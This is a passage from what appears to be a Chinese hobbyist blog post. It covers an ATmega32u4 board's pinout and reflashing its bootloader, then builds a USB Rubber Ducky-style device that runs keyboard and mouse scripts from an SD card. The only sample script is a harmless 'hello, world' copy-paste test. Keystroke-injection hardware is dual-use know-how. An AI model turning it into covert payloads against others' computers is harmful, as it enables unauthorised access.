<td class="mra-pin-gnd">GND</td>
<td class="mra-pin-gnd">6</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<table class="mra-table mra-collapse" width="80%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="12%"/>
<col width="12%"/>
<col width="12%"/>
<col width="64%"/>
</colgroup>
<thead>
<tr class="mra-pin-header">
<th>編號</th>
<th>引腳</th>
<th>方向</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr class="mra-pin-scl">
<td>1</td>
<td>SCL</td>
<td>輸入輸出</td>
<td>第3數碼引腳;I<sup>2</sup>C時脈引腳;10位元PWM</td>
</tr>
<tr class="mra-pin-sda">
<td>2</td>
<td>SDA</td>
<td>輸入輸出</td>
<td>第2數碼引腳;I<sup>2</sup>C資料引腳</td>
</tr>
<tr class="mra-pin-rx">
<td>3</td>
<td>RX</td>
<td>輸入輸出</td>
<td>第0數碼引腳;UART接收引腳</td>
</tr>
<tr class="mra-pin-tx">
<td>4</td>
<td>TX</td>
<td>輸入輸出</td>
<td>第1數碼引腳;UART傳送引腳</td>
</tr>
<tr class="mra-pin-vcc">
<td>5</td>
<td>VCC</td>
<td></td>
<td>電源</td>
</tr>
<tr class="mra-pin-gnd">
<td>6</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-vcc">
<td>7</td>
<td>VCC</td>
<td></td>
<td>電源</td>
</tr>
<tr class="mra-pin-gnd">
<td>8</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-rst">
<td>9</td>
<td>RST</td>
<td></td>
<td>接地後復原會重設裝置</td>
</tr>
<tr class="mra-pin-sck">
<td>10</td>
<td>SCK</td>
<td>輸入輸出</td>
<td>第15數碼引腳;SPI時脈引腳</td>
</tr>
<tr class="mra-pin-mosi">
<td>11</td>
<td>MOSI</td>
<td>輸入輸出</td>
<td>第16數碼引腳;SPI輸出引腳</td>
</tr>
<tr class="mra-pin-miso">
<td>12</td>
<td>MISO</td>
<td>輸入輸出</td>
<td>第14數碼引腳;SPI輸入引腳</td>
</tr>
<tr>
<td>D1LED</td>
<td>GP13</td>
<td>輸出</td>
<td>第13數碼引腳;D1 LED 引腳;高電壓亮著,低電壓熄滅;10位元PWM</td>
</tr>
<tr>
<td>D2LED</td>
<td>GP8</td>
<td>輸出</td>
<td>第8數碼引腳;D2 LED 引腳;高電壓亮著,低電壓熄滅</td>
</tr>
<tr>
<td>SD</td>
<td>GP4</td>
<td>輸出</td>
<td>第4數碼引腳;SD選取引腳;低電壓選取</td>
</tr>
</tbody>
</table>
<a name="附有MicroSD卡糟的ATmega32u4試用"></a><h5 class="mra-h5">試用</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFp0P6CTpMzzCC5_8ENbfOsw-c6yVu8Qb3NVpM-7unm8Nl35sAkLBI2b35vAt0GGduhzqxiDqJcNL0yAep0Wt1pUh5kaS6Z23RS4gh1fn_Lp2ivpNoybjHnxgpvqYl_WhyRukNux8seD1dnE_BISSUB9czcZlexXdLcCt_GQcYzPwZYO0omCHQI3WCcvg/w0/atmega32u4-sd-card-slot-012.png"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFp0P6CTpMzzCC5_8ENbfOsw-c6yVu8Qb3NVpM-7unm8Nl35sAkLBI2b35vAt0GGduhzqxiDqJcNL0yAep0Wt1pUh5kaS6Z23RS4gh1fn_Lp2ivpNoybjHnxgpvqYl_WhyRukNux8seD1dnE_BISSUB9czcZlexXdLcCt_GQcYzPwZYO0omCHQI3WCcvg/w600/atmega32u4-sd-card-slot-012.png" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>雖然在 Arduino IDE 以 Arduino Micro 相同的設定,但然無法上載 Sketch<br/>
原本在 Port 中顯示的 /dev/ttyACM0 消失,顯示錯誤訊息:</p>
<pre class="brush:bash">Couldn't find a Board on the selected port. Check that you have the correct port selected. If it is correct, try pressing the board's reset button after initialing the upload.</pre>
<p>而且 D1 LED 不斷閃動,按 重設按鈕 仍舊不斷閃動,幸好中斷裝置後重新連接,一切恢復正常,亦沒有損壞</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpqN0S6EswRxCMd4V3sL2_2D0Dd8Vd_Z8tsoxB1-tnTWrNPiDH2mu3JVCyptBvTLSy3BYJHkCer1-MZX41u9hQaKYj3p286Jp3FerBsqBRwBIJlPqYiXCzNvsMhQolOloyUDH2lbuAZE7Ebo5-bG1BvHmcG5osO5Wg3hqv6NO6tp4xHEfzQD5s3nmt8R4/w0/atmega32u4-sd-card-slot-020.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpqN0S6EswRxCMd4V3sL2_2D0Dd8Vd_Z8tsoxB1-tnTWrNPiDH2mu3JVCyptBvTLSy3BYJHkCer1-MZX41u9hQaKYj3p286Jp3FerBsqBRwBIJlPqYiXCzNvsMhQolOloyUDH2lbuAZE7Ebo5-bG1BvHmcG5osO5Wg3hqv6NO6tp4xHEfzQD5s3nmt8R4/w0/atmega32u4-sd-card-slot-020.png"/></a></div>
<p>在下認為是原廠設定的開發板,並非使用與 Arduino Leonardo 或 Sparkfun Pro Micro 相同的 Bootloader<br/>
當 Arduino IDE 嘗試重設時,無法重新偵測到 ATmega32u4 的 Bootloader模式,因此無法上載 Sketch<br/>
在下嘗試清除所有資料並重新燒錄 Bootloader 到 ATmega32u4 ,因此需要連接到 ISP 裝置</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgotE0jSwxGZ0ZGvjuE-KG1eMxniRtECmAueqZ5K_jBt3uf-Ah7O9g6DCYgRXRV56uow9cqDOUssNvMIn-EosSCQfkr3fxR9W6I_WE9xr9Jy8bG6xtFVRuCNrkpH89z8ZF-NSLz_BtlJcrUcz6C2GtxmbN8GOQDy5N4fmozAJzuvqYMNA3W9MBmLDExHLs/w0/atmega32u4-sd-card-slot-010.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgotE0jSwxGZ0ZGvjuE-KG1eMxniRtECmAueqZ5K_jBt3uf-Ah7O9g6DCYgRXRV56uow9cqDOUssNvMIn-EosSCQfkr3fxR9W6I_WE9xr9Jy8bG6xtFVRuCNrkpH89z8ZF-NSLz_BtlJcrUcz6C2GtxmbN8GOQDy5N4fmozAJzuvqYMNA3W9MBmLDExHLs/w600/atmega32u4-sd-card-slot-010.jpg" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>由於未焊接引腳,因此在下使用爪型探針測試<br/>
爪型探針可以直接抓著通孔連接線路</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi44xLZLSH6BCoGXZyDBbdaQM_G2oG7KBlLiCY672VjggjSDxometb0BA8dgaeRlg2ktfn1tKcnP8mlZOoLtI_c9uOdMv_OaTDSmytXKm925Pykn_hI96iQUBojvoOw64lKj8Et5FvgI9MRI4JWOqZ4xLK3NkuHxYg0lEUcsbu2HkX3Vsi4yoth2UisjHo/w0/atmega32u4-sd-card-slot-011.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi44xLZLSH6BCoGXZyDBbdaQM_G2oG7KBlLiCY672VjggjSDxometb0BA8dgaeRlg2ktfn1tKcnP8mlZOoLtI_c9uOdMv_OaTDSmytXKm925Pykn_hI96iQUBojvoOw64lKj8Et5FvgI9MRI4JWOqZ4xLK3NkuHxYg0lEUcsbu2HkX3Vsi4yoth2UisjHo/w600/atmega32u4-sd-card-slot-011.jpg" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>再連接到 Programmer線路</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVnqRKooEmaGBTGQI62LgrAUoUR5XXL7ktY9NU2SyLmP2ouvvAePcSn0cXsD1xCJj5W92D4ZUcjVvl1W3-f0YsMFzaLIhopbz6YPudTG656UKsHwDrakvy8g2ETUx6qrLKkIJKWZUkuTK_NMVWoWFu9EtrFlXr2JxSuaog-iPuhWOJ7IrZLglRoDh4So0/w0/atmega32u4-sd-card-slot-016.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVnqRKooEmaGBTGQI62LgrAUoUR5XXL7ktY9NU2SyLmP2ouvvAePcSn0cXsD1xCJj5W92D4ZUcjVvl1W3-f0YsMFzaLIhopbz6YPudTG656UKsHwDrakvy8g2ETUx6qrLKkIJKWZUkuTK_NMVWoWFu9EtrFlXr2JxSuaog-iPuhWOJ7IrZLglRoDh4So0/w0/atmega32u4-sd-card-slot-016.jpg"/></a></div>
<p>但如果沒有爪型探針亦可以,長針腳的跳線直接穿過通孔,再將引腳壓在通孔上<br/>
為避免針腳與另一支針腳接觸,建議還要釘在麵包板上,確保不會短路</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAIJT7eUbd9_w8ckRFCYvD9AAWdiR6c_AYiHi6vp5RmTCMxnQd9QVsz_yIccDL4FgPIeZzFG1j0ry0e2lZER2hh8WV27e0RErMjx_H3RV8U77z5N-IMsLUnxe27HWdDutClHr3N9XIPo5QS2mnTzC7QRcy0hTP974a5qyd2EyelAgkfHslNZPp7BjeJPk/w0/atmega32u4-sd-card-slot-008.png"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAIJT7eUbd9_w8ckRFCYvD9AAWdiR6c_AYiHi6vp5RmTCMxnQd9QVsz_yIccDL4FgPIeZzFG1j0ry0e2lZER2hh8WV27e0RErMjx_H3RV8U77z5N-IMsLUnxe27HWdDutClHr3N9XIPo5QS2mnTzC7QRcy0hTP974a5qyd2EyelAgkfHslNZPp7BjeJPk/w600/atmega32u4-sd-card-slot-008.png" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>由於在下想懶惰點,因此不使用 Arduino as ISP<br/>
而是使用 USBASP 將 ATmega32u4 的 Bootloader 重新燒錄</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZCX1VjeoL4jzw6WurLNeSeAIJ9wch7Ow2pec0MO2FHfvE5RZyvqNdXOngRkgy96SnGaTqEr_1KZAHvC71Gb7ICYNcqt20mCvAB9aT-eLiW8qlG-rds5hsBeKTBi-4MI_pnm5FQnGcCUq_Kh2ujoexrG45mjMnX-XZewLT6KtnR8w39Gw490oNi_emh_g/w0/atmega32u4-sd-card-slot-013.png"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZCX1VjeoL4jzw6WurLNeSeAIJ9wch7Ow2pec0MO2FHfvE5RZyvqNdXOngRkgy96SnGaTqEr_1KZAHvC71Gb7ICYNcqt20mCvAB9aT-eLiW8qlG-rds5hsBeKTBi-4MI_pnm5FQnGcCUq_Kh2ujoexrG45mjMnX-XZewLT6KtnR8w39Gw490oNi_emh_g/w600/atmega32u4-sd-card-slot-013.png" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<pre class="brush:cpp">const byte D1 = 13;
const byte D2 = 8;
void setup() {
pinMode(D1, OUTPUT);
pinMode(D2, OUTPUT);
}
void loop() {
digitalWrite(D1, !digitalRead(D1));
digitalWrite(D2, !digitalRead(D1));
delay(500);
}</pre>
<p>重新燒錄 Bootloader 後,便能於 Arduino IDE 上載 Sketch 到 ATmega32u4</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZjXbYVR-NfSOXZKlv1fMADmHdHZYx341NPjGLIklUteiyeDCNnE9wpipfKPE-EECO0jIChQevMiLAi99Usd4aDST7s225PqJJkLqIJaNUtsj84iN8Gd6Wl9qrEvOGlKN-a3YU-Wtmzgv77Sx14FX1K5l68tZ9BpT2tO2lKKm3eI-_OQB0WVBwSMlvwvg/w0/atmega32u4-sd-card-slot-014.gif"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZjXbYVR-NfSOXZKlv1fMADmHdHZYx341NPjGLIklUteiyeDCNnE9wpipfKPE-EECO0jIChQevMiLAi99Usd4aDST7s225PqJJkLqIJaNUtsj84iN8Gd6Wl9qrEvOGlKN-a3YU-Wtmzgv77Sx14FX1K5l68tZ9BpT2tO2lKKm3eI-_OQB0WVBwSMlvwvg/w600/atmega32u4-sd-card-slot-014.gif" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<p>以 D1 LED 及 D2 LED 測試上載結果</p>
<a name="模仿USBRubberDucky"></a><h4 class="mra-h4">模仿 USB Rubber Ducky</h4>
<p>在下想將裝置設計成類似自動執行操作的 USB工具<br/>
但發現很多模仿 USB Rubber Ducky 的程式都只有 鍵盤控制<br/>
因此在下希望能加入 滑鼠控制 、 重覆執行腳本內容 、 執行其他腳本檔案,因此安裝 <span class="mra-highlighter">Keyboard.h</span> 及 <span class="mra-highlighter">Mouse.h</span> 函式庫</p>
<p>另外涉及讀取 SD卡內容,還要安裝 <span class="mra-highlighter">SD.h</span><br/>
(雖然在下曾經用自己的方法讀取 SD卡內容 ,但還是使用穩定的函式庫比較安全及方便)</p>
<p>由於根據每行內容執行特定操作,所以判別內容越多,便越佔據更多空間<br/>
在只有 <span class="mra-highlighter">32768位元組 ROM</span> (<span class="mra-highlighter">Bootloader 佔據 4096位元組</span>) 及 <span class="mra-highlighter">2560位元組 RAM</span> 的 ATmega32u4 有限的空間上限設計最多功能</p>
<a name="模仿USBRubberDucky功能"></a><h5 class="mra-h5">功能</h5>
<p>由於在下想方便分類,因此使用類似 Arduino 原本的功能名稱來製作</p>
<table class="mra-table mra-collapse" width="80%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="23%"/>
<col width="10%"/>
<col width="67%"/>
</colgroup>
<thead>
<tr>
<th>指令</th>
<th>參數</th>
<th>效果</th>
</tr>
</thead>
<tbody>
<tr>
<td>delay.us</td>
<td>整數</td>
<td>延遲微秒數</td>
</tr>
<tr>
<td>delay.ms</td>
<td>整數</td>
<td>延遲毫秒數</td>
</tr>
<tr>
<td>delay.s</td>
<td>整數</td>
<td>延遲秒數</td>
</tr>
<tr>
<td>delay.m</td>
<td>整數</td>
<td>延遲分鐘</td>
</tr>
<tr>
<td>delay.h</td>
<td>整數</td>
<td>延遲小時</td>
</tr>
<tr>
<td>mouse.set-x</td>
<td>整數</td>
<td>由左至右設定滑鼠到熒幕指定X軸位置;如果為負數則由右至左</td>
</tr>
<tr>
<td>mouse.set-y</td>
<td>整數</td>
<td>由上至下設定滑鼠到熒幕指定Y軸位置;如果為負數則由下至上</td>
</tr>
<tr>
<td>mouse.offset-x</td>
<td>整數</td>
<td>由左至右設定滑鼠從當前偏移X軸位置;如果為負數則由右至左</td>
</tr>
<tr>
<td>mouse.offset-y</td>
<td>整數</td>
<td>由上至下設定滑鼠從當前偏移X軸位置;如果為負數則由下至上</td>
</tr>
<tr>
<td>mouse.scroll</td>
<td>鍵碼</td>
<td>模擬捲動滑鼠滾輪</td>
</tr>
<tr>
<td>mouse.click</td>
<td>鍵碼</td>
<td>模擬點擊滑鼠指定按鍵</td>
</tr>
<tr>
<td>mouse.press</td>
<td>鍵碼</td>
<td>模擬按下滑鼠指定按鍵</td>
</tr>
<tr>
<td>mouse.release</td>
<td>鍵碼</td>
<td>模擬釋放滑鼠指定按鍵</td>
</tr>
<tr>
<td>mouse.release-all</td>
<td>鍵碼</td>
<td>模擬釋放滑鼠所有按鍵</td>
</tr>
<tr>
<td>keyboard.print</td>
<td>字串</td>
<td>模擬輸入鍵盤指定文字</td>
</tr>
<tr>
<td>keyboard.println</td>
<td>字串</td>
<td>模擬輸入鍵盤指定文字,完成後插入換行號</td>
</tr>
<tr>
<td>keyboard.write</td>
<td>鍵碼</td>
<td>模擬寫入鍵盤指定鍵碼</td>
</tr>
<tr>
<td>keyboard.press</td>
<td>鍵碼</td>
<td>模擬按下鍵盤指定鍵碼</td>
</tr>
<tr>
<td>keyboard.release</td>
<td>鍵碼</td>
<td>模擬釋放鍵盤指定鍵碼</td>
</tr>
<tr>
<td>keyboard.release-all</td>
<td>鍵碼</td>
<td>模擬釋放鍵盤所有鍵碼</td>
</tr>
<tr>
<td>led.power</td>
<td>狀態</td>
<td>控制 D1 LED 開關</td>
</tr>
<tr>
<td>i2c.scl</td>
<td>狀態</td>
<td>控制 I<sup>2</sup>C SCL 開關</td>
</tr>
<tr>
<td>i2c.sda</td>
<td>狀態</td>
<td>控制 I<sup>2</sup>C SDA 開關</td>
</tr>
<!--tr>
<td>i2c.address</td>
<td>整數</td>
<td>設定 I<sup>2</sup>C 地址</td>
</tr>
<tr>
<td>i2c.write</td>
<td>整數</td>
<td>使用 I<sup>2</sup>C 發送資料</td>
</tr-->
<tr>
<td>uart.tx</td>
<td>狀態</td>
<td>控制 UART TX 開關</td>
</tr>
<tr>
<td>uart.rx</td>
<td>狀態</td>
<td>控制 UART RX 開關</td>
</tr>
<!--tr>
<td>uart.baud</td>
<td>整數</td>
<td>設定 UART 速度</td>
</tr>
<tr>
<td>uart.write</td>
<td>整數</td>
<td>使用 UART TX 發送資料</td>
</tr>
<tr>
<td>uart.read</td>
<td></td>
<td>使用 UART RX 接收資料,並以 keyboard.print 輸出資料</td>
</tr-->
<tr>
<td>script.load</td>
<td>路徑</td>
<td>載入並執行指定腳本檔案,但不會執行 script.load 往後的指令</td>
</tr>
<tr>
<td>script.repeat</td>
<td>整數</td>
<td>重覆執行上一個 script.repeat (或第一個指令) 至 script.repeat 之間的指令</td>
</tr>
</tbody>
</table>
<a name="模仿USBRubberDucky引腳狀態"></a><h5 class="mra-h5">引腳狀態</h5>
<table class="mra-table mra-collapse" width="40%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="50%"/>
<col width="50%"/>
</colgroup>
<thead>
<tr>
<th>狀態代號</th>
<th>對應功能</th>
</tr>
</thead>
<tbody>
<tr>
<td>on</td>
<td>開啟</td>
</tr>
<tr>
<td>off</td>
<td>關閉</td>
</tr>
<tr>
<td>toggle</td>
<td>切換開啟或關閉</td>
</tr>
<tr>
</tbody>
</table>
<a name="模仿USBRubberDucky捲動鍵碼"></a><h5 class="mra-h5">捲動鍵碼</h5>
<table class="mra-table mra-collapse" width="40%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="50%"/>
<col width="50%"/>
</colgroup>
<thead>
<tr>
<th>鍵碼代號</th>
<th>對應向方</th>
</tr>
</thead>
<tbody>
<tr>
<td>up</td>
<td>向上</td>
</tr>
<tr>
<td>down</td>
<td>向下</td>
</tr>
<tr>
</tbody>
</table>
<a name="模仿USBRubberDucky滑鼠鍵碼"></a><h5 class="mra-h5">滑鼠鍵碼</h5>
<table class="mra-table mra-collapse" width="40%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="50%"/>
<col width="50%"/>
</colgroup>
<thead>
<tr>
<th>鍵碼代號</th>
<th>對應按鍵</th>
</tr>
</thead>
<tbody>
<tr>
<td>left</td>
<td>左鍵</td>
</tr>
<tr>
<td>middle</td>
<td>中鍵</td>
</tr>
<tr>
<td>right</td>
<td>右鍵</td>
</tr>
<tr>
</tbody>
</table>
<a name="模仿USBRubberDucky鍵盤鍵碼"></a><h5 class="mra-h5">鍵盤鍵碼</h5>
<table class="mra-table mra-collapse" width="85%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="60%"/>
<col width="40%"/>
</colgroup>
<thead>
<tr>
<th>鍵碼代號</th>
<th>對應按鍵</th>
</tr>
</thead>
<tbody>
<tr>
<td>ctrl, control, left-ctrl, left-control</td>
<td>一般鍵盤的左Ctrl鍵 或 Mac鍵盤的左Control鍵</td>
</tr>
<tr>
<td>shift, left-shift</td>
<td>左Shift鍵</td>
</tr>
<tr>
<td>alt, option, left-alt, left-option</td>
<td>一般鍵盤的左Alt鍵 或 Mac鍵盤的左Option鍵</td>
</tr>
<tr>
<td>gui, meta, hyper, super, win, window, cmd, command, left-gui, left-meta, left-hyper, left-super, left-win, left-window, left-cmd, left-command</td>
<td>一般鍵盤的左Win鍵 或 Mac鍵盤的左Cmd鍵</td>
</tr>
<tr>
<td>right-ctrl, right-control</td>
<td>一般鍵盤的右Ctrl鍵 或 Mac鍵盤的右Control鍵</td>
</tr>
<tr>
<td>right-shift
<td>右Shift鍵</td>
</tr>
<tr>
<td>right-alt, right-option</td>
<td>一般鍵盤的右Alt鍵 或 Mac鍵盤的右Option鍵</td>
</tr>
<tr>
<td>right-gui, right-meta, right-hyper, right-super, right-win, right-window, right-cmd, right-command</td>
<td>一般鍵盤的右Win鍵 或 Mac鍵盤的右Cmd鍵</td>
</tr>
<tr>
<td>arrow-up</td>
<td>上箭咀鍵</td>
</tr>
<tr>
<td>arrow-down</td>
<td>下箭咀鍵</td>
</tr>
<tr>
<td>arrow-left</td>
<td>左箭咀鍵</td>
</tr>
<tr>
<td>arrow-right</td>
<td>右箭咀鍵</td>
</tr>
<tr>
<td>backspace</td>
<td>一般鍵盤的退格鍵 或 Mac鍵盤的Delete鍵</td>
</tr>
<tr>
<td>tab</td>
<td>製表鍵</td>
</tr>
<tr>
<td>space</td>
<td>空白鍵</td>
</tr>
<tr>
<td>enter, return</td>
<td>換行鍵</td>
</tr>
<tr>
<td>menu</td>
<td>功能表選單鍵</td>
</tr>
<tr>
<td>esc, escape</td>
<td>退出鍵</td>
</tr>
<tr>
<td>insert</td>
<td>插入鍵</td>
</tr>
<tr>
<td>delete, del</td>
<td>刪除鍵</td>
</tr>
<tr>
<td>page-up</td>
<td>向上捲頁鍵</td>
</tr>
<tr>
<td>page-down</td>
<td>向下捲頁鍵</td>
</tr>
<tr>
<td>home</td>
<td>移至最前鍵</td>
</tr>
<tr>
<td>end</td>
<td>移至最後鍵</td>
</tr>
<tr>
<td>caps-lock</td>
<td>大寫鎖定鍵</td>
</tr>
<tr>
<td>print-screen</td>
<td>列印熒幕鍵</td>
</tr>
<tr>
<td>scroll-lock</td>
<td>捲動鎖定鍵</td>
</tr>
<tr>
<td>pause, break</td>
<td>暫停鍵</td>
</tr>
<tr>
<td>num-lock</td>
<td>數字鍵盤鎖定鍵</td>
</tr>
<tr>
<td>kp/</td>
<td>數字鍵盤/鍵</td>
</tr>
<tr>
<td>kp*</td>
<td>數字鍵盤*鍵</td>
</tr>
<tr>
<td>kp-</td>
<td>數字鍵盤-鍵</td>
</tr>
<tr>
<td>kp+</td>
<td>數字鍵盤+鍵</td>
</tr>
<tr>
<td>kpe</td>
<td>數字鍵盤enter鍵</td>
</tr>
<tr>
<td>kp1</td>
<td>數字鍵盤1鍵</td>
</tr>
<tr>
<td>kp2</td>
<td>數字鍵盤2鍵</td>
</tr>
<tr>
<td>kp3</td>
<td>數字鍵盤3鍵</td>
</tr>
<tr>
<td>kp4</td>
<td>數字鍵盤4鍵</td>
</tr>
<tr>
<td>kp5</td>
<td>數字鍵盤5鍵</td>
</tr>
<tr>
<td>kp6</td>
<td>數字鍵盤6鍵</td>
</tr>
<tr>
<td>kp7</td>
<td>數字鍵盤7鍵</td>
</tr>
<tr>
<td>kp8</td>
<td>數字鍵盤8鍵</td>
</tr>
<tr>
<td>kp9</td>
<td>數字鍵盤9鍵</td>
</tr>
<tr>
<td>kp0</td>
<td>數字鍵盤0鍵</td>
</tr>
<tr>
<td>kp.</td>
<td>數字鍵盤.鍵</td>
</tr>
<tr>
<td>f1</td>
<td>功能1鍵</td>
</tr>
<tr>
<td>f2</td>
<td>功能2鍵</td>
</tr>
<tr>
<td>f3</td>
<td>功能3鍵</td>
</tr>
<tr>
<td>f4</td>
<td>功能4鍵</td>
</tr>
<tr>
<td>f5</td>
<td>功能5鍵</td>
</tr>
<tr>
<td>f6</td>
<td>功能6鍵</td>
</tr>
<tr>
<td>f7</td>
<td>功能7鍵</td>
</tr>
<tr>
<td>f8</td>
<td>功能8鍵</td>
</tr>
<tr>
<td>f9</td>
<td>功能9鍵</td>
</tr>
<tr>
<td>f10</td>
<td>功能10鍵</td>
</tr>
<tr>
<td>f11</td>
<td>功能11鍵</td>
</tr>
<tr>
<td>f12</td>
<td>功能12鍵</td>
</tr>
<tr>
<td>f13</td>
<td>功能13鍵</td>
</tr>
<tr>
<td>f14</td>
<td>功能14鍵</td>
</tr>
<tr>
<td>f15</td>
<td>功能15鍵</td>
</tr>
<tr>
<td>f16</td>
<td>功能16鍵</td>
</tr>
<tr>
<td>f17</td>
<td>功能17鍵</td>
</tr>
<tr>
<td>f18</td>
<td>功能18鍵</td>
</tr>
<tr>
<td>f19</td>
<td>功能19鍵</td>
</tr>
<tr>
<td>f20</td>
<td>功能20鍵</td>
</tr>
<tr>
<td>f21</td>
<td>功能21鍵</td>
</tr>
<tr>
<td>f22</td>
<td>功能22鍵</td>
</tr>
<tr>
<td>f23</td>
<td>功能23鍵</td>
</tr>
<tr>
<td>f24</td>
<td>功能24鍵</td>
</tr>
</tbody>
</table>
<p>在下同樣模仿 Arduino 的 Keyboard.h 及 Mouse.h 的常數名稱</p>
<a name="模仿USBRubberDucky鍵盤效果"></a><h5 class="mra-h5">鍵盤效果</h5>
<div><a href="https://photos.google.com/share/AF1QipMD-LZwZvi0Zz-qLQTVyEboMjKcfYrnd03cvet4-bcZDMJptLMUiMFXDl4kmezJXA/photo/AF1QipNCWE5Mu_ZL02vXM4yz5IS6zNdzkhj78k7yUgpw?key=OUNnN283X1FXWVVjY0loMkp3WlJOdlZpblJuSXJ3"><img src="https://lh3.googleusercontent.com/-050lqilrbVg/ZYW_r99fY2I/AAAAAAADI-M/f5S39GRUE7wAKQHK20LQYkSsvyjNlgAZwCEwYBhgLKpwFALCRM530ZrsNrTIGXhh3poJ6zdlHdDF_R-Nc4QhBlY53DgPCn7OGGrJDXWqKLOYDTlLShy-AnaBf730wM5ZRpIl7ntpwuPmBf7aRm8r2v4ODlhS5ofyqwpQzrUAMBnoyBI5QvO_MG4PeqbNGqPdVKeyKrNCP7HWHT-QxCepHa1q8Jp9kT559E8o7hc15S3dfp6ohgFhb5wSGIO5CC1Qop0u8vQ5YqkwwnQw_4TqHxV9F21zQI62EsYeDHUpFv2OvijQXQv4dJFdUXo5_-iVeVJHlNIXDHMGIP-NvPXHiI6vA8u4UA5hADEkM92Hl8t_I4kX-e7mitj9b9Cf7QV604BI887Q0auRG6P2FJGp9bMukVOzfurDJIvuq17h3yr3doCyPLZKwOYDTtCqvx2QVlJ5wjHJfgWeaZQCJnskHCDIXyU3LtOsclPv5XzxshGKnKjXWLeGDKi1PRlRbhy5s1lNaECbN6xa-IMny32lMo9_9jD5bxCS0ucLAXzs-M523aAQqUGFxtrFkLzX8eaFE2B0dumc11UUGNJVetj0u0YPe3w78p6Vfu50UQSB41Mho8sqh9OTTqRm3nTNg7fhoC2KSohAF2Rd6IpGBZYRpB5HIL7GLOLxx7nWjhh24o9O19xY1VwZwxml68BH_yrle_5MlDWkwjEH_IxI6xpeiJp8y0XFWNEFxRJpyXx5-fAsEQrA7bNqltBoLdP3bcpjJnCGotl3iBig55QOSplM-FOTuuz6-IM0V0JduradKwVvJt3Es-xDxdetAb0r83AVCcw6-ZyNI81FANreofLTXIJ4Hiamz3Khp70NHkm86usHfJRnpYPugzHudkGgQbn0BxH32rp20HGF3j9rbQ5S7sCJyWZnDCQcSXyYe6oEw_ZnOrAY/w600/atmega32u4-sd-card-slot-017.mp4" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<pre class="brush:bash">keyboard.print hell
keyboard.print o, w
keyboard.println orld
keyboard.press shift
script.repeat 0
keyboard.write arrow-left
script.repeat 12
keyboard.release shift
keyboard.press ctrl
keyboard.write c
script.repeat 0
keyboard.write v
script.repeat 10
keyboard.release ctrl</pre>
<p>測試內容說明:</p>
<div>
<ol>
<li>輸入 hell</li>
<li>輸入 o, w</li>
<li>輸入 orld (即是 hello, world ,故意分開輸入),並換行</li>
<li>按下 shift</li>
<li>
<ul>
<li>重覆 0次 (設定 重覆點)</li>
</ul>
</li>
<li>寫入 左箭咀</li>
<li>
<ul>
<li>重覆 12次</li>
</ul>
</li>
<li>釋放 shift</li>
<li>按下 ctrl</li>
<li>寫入 c</li>
<li>
<ul>
<li>重覆 0次 (設定 重覆點)</li>
</ul>
</li>
<li>寫入 v</li>
<li>
<ul>
<li>重覆 10次</li>
</ul>
</li>
<li>釋放 ctrl</li>
</ol>
</div>
<a name="模仿USBRubberDucky滑鼠效果"></a><h5 class="mra-h5">滑鼠效果</h5>
<div><a href="https://photos.google.com/share/AF1QipMD-LZwZvi0Zz-qLQTVyEboMjKcfYrnd03cvet4-bcZDMJptLMUiMFXDl4kmezJXA/photo/AF1QipOKLsep6BawB_mfnoo8tmkfwCEZwf9pg2CWM_w1?key=OUNnN283X1FXWVVjY0loMkp3WlJOdlZpblJuSXJ3"><img 